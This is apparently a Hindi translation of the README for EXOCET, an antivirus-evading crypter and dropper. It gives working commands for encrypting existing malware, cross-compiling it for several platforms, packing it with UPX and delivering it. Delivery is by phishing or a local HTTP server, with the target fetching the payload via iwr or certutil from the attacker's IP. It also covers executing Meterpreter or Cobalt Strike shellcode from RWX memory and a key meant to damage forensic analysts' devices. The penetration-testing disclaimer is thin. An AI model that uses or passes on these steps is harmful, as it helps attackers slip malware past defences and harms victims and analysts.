
EXOCET - AV-एवेडिंग, अनडिटेक्टेबल, पेलोड वितरण उपकरण
Chang Tan
AWS प्रमाणित क्लाउड प्रैक्टिशनर और सॉल्यूशंस आर्किटेक्ट एसोसिएट
[email protected]
सुनिश्चित करें कि आप अपने पेलोड को पैक करें ताकि क्रिप्टर की कुंजी के किसी भी रिसाव से बचा जा सके और मैलवेयर विश्लेषकों को और अधिक निराश किया जा सके। Themida जैसे व्यावसायिक टॉप-ऑफ-द-लाइन पैकर की आवश्यकता नहीं है। यह कोड-हस्ताक्षर प्रमाणपत्र जैसी किसी चीज़ के बिना और संदेह पैदा करेगा। कोड-हस्ताक्षर प्रमाणपत्र के बिना, विंडोज सिस्टम पर, SmartScreen स्वचालित रूप से ट्रिगर होता है। यह सभी संभावित अवांछित प्रोग्रामों या "PUP" के लिए नियम है, जिसका अर्थ है सभी मैलवेयर पेलोड, बीकन, जीकॉन, रिमोट एक्सेस ट्रोजन आदि को कोड हस्ताक्षर प्रमाणपत्र की आवश्यकता होती है। आपके पैसे किसी टॉप-ऑफ-द-लाइन पैकर की तुलना में कोड-हस्ताक्षर प्रमाणपत्र खरीदने में बेहतर खर्च होंगे।
go run exocet.go malware.exe outputmalware.go
env GOOS=windows GOARCH=amd64 build -ldflags "-s -w" outputmalware.go
upx --best outputmalware.exe
फिर पेलोड को अपने लक्ष्य पर ड्रॉप करें। फ़िशिंग ईमेल, लिंक जैसी किसी चीज़ का उपयोग करके, या यदि आपके पास पहले से शेल एक्सेस है, तो इसे अपने सर्वर को स्थानीय रूप से होस्ट करके वितरित करें
python -m http.server 80'
और फिर जिस मशीन से आप समझौता कर रहे हैं, उस पर पावरशेल प्रॉम्प्ट के रूप में चलाएँ
iwr -Uri "http://yourip/outputmalware.exe" -OutFile "NotMalware.exe"
या
certutil.exe -urlcache -split -f http://yourip/outputmalware.exe
और फिर outputmalware.exe के साथ निष्पादित करें
EXOCET Metasploit के "Evasive Payloads" मॉड्यूल से बेहतर है क्योंकि EXOCET GCM मोड (Galois/Counter Mode) में AES-256 का उपयोग करता है। Metasploit के Evasion Payloads एक आसानी से पता लगाने योग्य RC4 एन्क्रिप्शन का उपयोग करते हैं। जबकि RC4 तेजी से डिक्रिप्ट कर सकता है, AES-256 मैलवेयर के इरादे का पता लगाना बहुत कठिन बना देता है।

हालांकि, Metasploit का उपयोग करके एक Evasive Payload बनाना और फिर इसे EXOCET के साथ जोड़ना संभव है। इसलिए EXOCET AES-256 के माध्यम से डिक्रिप्ट करेगा, और फिर Metasploit Evasive Payload RC4 से स्वयं को डिक्रिप्ट करेगा।
मेरे पिछले प्रोजेक्ट, DarkLordObama की तरह, यह टूलकिट एक डिलीवरी/लॉन्च वाहन के रूप में डिज़ाइन किया गया है, जैसे Veil-Evasion करता है।
हालांकि, EXOCET एकल कोडबेस या पायथन चलाने वाले प्लेटफार्मों तक सीमित नहीं है। EXOCET उन सभी समर्थित प्लेटफार्मों और आर्किटेक्चर पर काम करता है जिन्हें Go समर्थन करता है।
EXOCET, प्रभावी रूप से एक क्रिप्टर-प्रकार का मैलवेयर ड्रॉपर है जो WannaCry जैसे आसानी से पता लगाने योग्य पेलोड को रीसायकल कर सकता है, उन्हें AES-GCM (Galois/Counter Mode) का उपयोग करके एन्क्रिप्ट कर सकता है, जो AES-CBC से अधिक सुरक्षित है, और फिर वहाँ उपलब्ध अधिकांश आर्किटेक्चर और प्लेटफार्मों के लिए एक ड्रॉपर फ़ाइल बना सकता है।
मूल रूप से...
इसका मतलब है 32-बिट और 64-बिट आर्किटेक्चर, और यह Linux, Windows, Macs, Unix, Android, iPhone आदि पर काम करता है। आप कुछ भी ले सकते हैं, और मेरा मतलब है कुछ भी, जैसे 1988 का Morris Worm जिसने लगभग इंटरनेट को ध्वस्त कर दिया था (जिसने UNIX पर fingerd लिसनर डेमॉन में एक खामी का शोषण किया था), और इसे फिर से एक व्यवहार्य साइबर हथियार बना सकते हैं।
EXOCET पूरी तरह से Go में लिखा गया है।
EXOCET, चाहे आप इसे चलाने के लिए किसी भी बाइनरी का उपयोग करें, काम करने के लिए Golang की आवश्यकता होती है। डिफ़ॉल्ट रूप से, यह एक क्रिप्टर .go फ़ाइल उत्पन्न करता है।
sudo apt-get update && sudo apt-get install -y golang चलाएँgo get github.com/tanc7/EXOCET-AV-Evasiongo run EXOCET.go detectablemalware.exe outputmalware.go
आपके लिए स्वचालित रूप से एक कुंजी उत्पन्न होती है। कुंजी 64 वर्ण लंबी होती है और पूरी तरह से bash और cmd.exe शेल पाइप रीडायरेक्टर्स से बनी होती है ताकि फोरेंसिक विश्लेषक के डिवाइस पर अप्रत्याशित, विनाशकारी व्यवहार पैदा करके कुंजी के खिलाफ ब्रूट-फोर्सिंग प्रयासों को भ्रमित और बाधित किया जा सके।
64-बिट विंडोज लक्ष्यों के लिए...
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go
और outputmalware.exe फ़ाइल बाहर आती है
64-बिट MacOS लक्ष्यों के लिए
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go
64-बिट Linux लक्ष्यों के लिए
env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go
Android जैसे अन्य ऑपरेटिंग सिस्टम के लिए अपने पैरामीटर के लिए github पर यह संदर्भ देखें Go क्रॉस कंपाइलेशन के लिए संदर्भ
ध्यान दें कि कुंजी अभी भी strings कमांड से पाई जा सकती है, कृपया कुंजी को छिपाने के लिए बाइनरी को पैक करने के लिए upx-ucl कमांड का उपयोग करें।
इसके अलावा, मेरे द्वारा बनाई गई प्रीबिल्ट बाइनरी हैं, जिसका अर्थ है कि आपको बस ./EXOCET या EXOCET-Windows.exe चलाना है
मैं, Chang Tan, और Exocet के मुख्य मॉड्यूल और उप-मॉड्यूल और इसमें शामिल पैकेजों के निर्माता इस उपकरण के दुरुपयोग के लिए जिम्मेदार नहीं हैं। यह केवल एक पैठ परीक्षण उपकरण है। आपको अनधिकृत संरक्षित सिस्टम या अनधिकृत संरक्षित सरकारी सिस्टम के खिलाफ Exocet आउटपुट बाइनरी तैनात करने से सख्ती से प्रतिबंधित किया गया है।
मुझे पता है कि APT41 और NSO Group के खतरे वाले अभिनेताओं ने इस उपकरण से कोड का उपयोग और/या अपनाया है, विशेष रूप से go-memexec विधि। यदि मुझसे संघीय अन्वेषकों द्वारा इस उपकरण के दुरुपयोग के संबंध में संपर्क किया जाता है, तो मैं जिम्मेदारी का दावा नहीं कर रहा हूँ।
यह वही बात है जो Mimikatz और PowerShell Empire के डेवलपर्स के साथ हुई (जिन्होंने खतरे वाले अभिनेताओं के बीच इसके उपयोग का एहसास होने पर अपने स्वयं के विकास को अप्रचलित कर दिया)। उत्तराधिकारियों ने Empire का विकास उठाया है, और Covenant C2 जैसे मुफ्त विकल्प उपलब्ध हैं।
4 मई, 1982 को, फ़ॉकलैंड युद्ध के दौरान, अर्जेंटीनी Super Eterdards के एक स्क्वाड्रन ने HMS Sheffield पर एक फ्रांसीसी निर्मित Exocet मिसाइल दागी। रॉयल नेवी द्वारा मिसाइल को रोकने के प्रयासों के बावजूद, एक ने हमला किया, जिससे Sheffield डूब गया। उस घटना ने सचमुच अर्जेंटीना को एक वैश्विक औपनिवेशिक शक्ति के खिलाफ ताकत के प्रदर्शन के रूप में मानचित्र पर ला दिया।
HMS Sheffield के डूबने की समाचार लेख
बिल्कुल उसी तरह जैसे Onel de Guzman के ILOVEYOU वायरस के साथ कार्यों ने फिलीपींस को एक साइबर खतरे के रूप में मानचित्र पर ला दिया।
.png)
तो इस महीने और अगले महीने मेरे लिए व्यस्त महीने होने वाले हैं, और इन विधियों को लागू करने में देरी होगी। लेकिन मैं नई AV चोरी तकनीकों को लागू करना शुरू करने के लिए उत्साहित हूँ जैसे...
मैं बहुत व्यस्त हूँ, मेरी निम्नलिखित प्राथमिकताएँ हैं और मैं परियोजना में सहायता के लिए कुछ मदद, कुछ पुल अनुरोधों का अनुरोध करना चाहूंगा। चूंकि मुझे निम्नलिखित काम करने हैं
मुझे थोड़ी मदद चाहिए, क्योंकि मैंने एन्क्रिप्टेड शेलकोड को निष्पादित करने के लिए CGO को सफलतापूर्वक लागू किया है लेकिन यह मेमोरी एक्सेस उल्लंघन त्रुटियाँ exit status 0xc0000005 फेंक रहा है। यह DEP (डेटा निष्पादन रोकथाम) से संबंधित कुछ नहीं होना चाहिए क्योंकि फ़ाइल CGOTest/working-template-shellcode-executor.go चल चुकी थी।
समस्या खोजी गई
जैसा कि पता चला है, मेमोरी पेज जहां शेलकोड उतरता है, उसे पढ़ने योग्य, लिखने योग्य और निष्पादन योग्य बनाने के लिए VirtualAlloc को kernel32.dll और ntdll.dll से कॉल किया जाना चाहिए, दूसरे शब्दों में, PAGE_EXECUTE_READWRITE को ON पर सेट करें। नीचे Note on Memory Access Violation Problem पढ़ें।

एक बार जब मैं यह समझ लूंगा, CGO को लागू करना एक दर्द था, अब हम क्रिप्टर बना सकते हैं जो INLINE-ASSEMBLY को निष्पादित करते हैं। जिसे अब तक असंभव माना जाता था।
ध्यान दें कि इसके लिए आपको Windows पर Golang और MinGW टूलचेन स्थापित होना चाहिए और Windows पर शेलकोड चलाना और उत्पन्न करना होगा। इसका कारण यह है कि CGO को हमारे अन्य EXOCET मॉड्यूल की तरह क्रॉस-कंपाइल नहीं किया जा सकता है। टूलचेन स्थापित करने के लिए आपको https://www.msys2.org/ पर जाना होगा और गाइड का पालन करना होगा। फिर आपको अपने Windows में पर्यावरण चर में gcc जोड़ना होगा

चरण 1: शेलकोड उत्पन्न करें, यह msfvenom Meterpreter पेलोड, Cobalt Strike Beacons, या C संगत प्रारूप में आपके अपने कस्टम शेलकोड से हो सकता है

चरण 2: शेलकोड के केवल बाइट्स को, उद्धरणों को छोड़कर, sc.txt जैसी टेक्स्ट फ़ाइल में कॉपी करें

चरण 3: आपकी शेलकोड फ़ाइल इस तरह दिखनी चाहिए। कच्चा शेलकोड

चरण 4: अब कमांड चलाएँ go run exocet-shellcode-exec.go sc.txt shellcodetest.go KEY
चरण 5: आप इसे चलाने का प्रयास कर सकते हैं लेकिन आपको किसी कारण से मेमोरी एक्सेस उल्लंघन त्रुटियाँ मिलेंगी, जिस पर मैं अभी भी काम कर रहा हूँ
जाहिर है, CGO की प्रमुख सीमाओं के अलावा जो क्रॉस-कंपाइलेशन को प्रतिबंधित या नाटकीय रूप से निराश करती हैं, समस्या यह है कि हम जिस शेलकोड को निष्पादित करना चाहते हैं वह मेमोरी के एक खंड में उतर रहा है (WinDBG x64 में विश्लेषित) जो RWX नहीं है। दूसरे शब्दों में, जब तक हम C कोड नहीं लिखते जो स्पष्ट रूप से मेमोरी में शेलकोड के निष्पादन की अनुमति देता है, यह हमेशा एक्सेस उल्लंघन त्रुटियाँ फेंकेगा।
दूसरी विधि, जो मैंने प्रारंभिक Go मॉड्यूल के अन्य डेवलपर्स https://gist.github.com/mgeeky/bb0fd5652b234fbd1c7630d7e5c8542d में देखी, वह यह है कि वे ntdll.dll और kernel32.dll के साथ बातचीत करने के लिए Go के Windows API का उपयोग करते हैं ताकि VirtualAlloc को कॉल किया जा सके और RWX मेमोरी पेजों के क्षेत्र निर्दिष्ट किए जा सकें। यह विधि बेहतर काम करती है, लेकिन ऐसा लगता है कि शेलकोड को केवल num-transformed प्रारूप में होना चाहिए ताकि यह काम करे।
मैं अभी भी इस पर काम कर रहा हूँ दोस्तों। मैं एक उचित शेलकोड निष्पादन मॉड्यूल लिखने के लिए कई प्रोग्रामिंग भाषाओं को एक साथ जोड़ सकता हूँ
दुर्भाग्य से, मुझे नए M1 CPU चलाने वाले MacBooks के लिए प्री-कंपाइल्ड बाइनरी बनाने में त्रुटियाँ आ रही हैं। यह मेरे Golang इंस्टॉलेशन के साथ एक समस्या हो सकती है
┌──(root💀kali)-[/opt/EXOCET-AV-Evasion]
└─# GOOS=darwin GOARCH=arm64 go build exocet.go
# command-line-arguments
/usr/lib/go-1.15/pkg/tool/linux_amd64/link: running gcc failed: exit status 1
/tmp/go-link-477718799/go.o: file not recognized: file format not recognized
collect2: error: ld returned 1 exit status
किसी भी तरह, आपको अभी भी लक्षित प्लेटफॉर्म पर मैलवेयर को संकलित या क्रॉस-कंपाइल करने के लिए Golang की आवश्यकता है।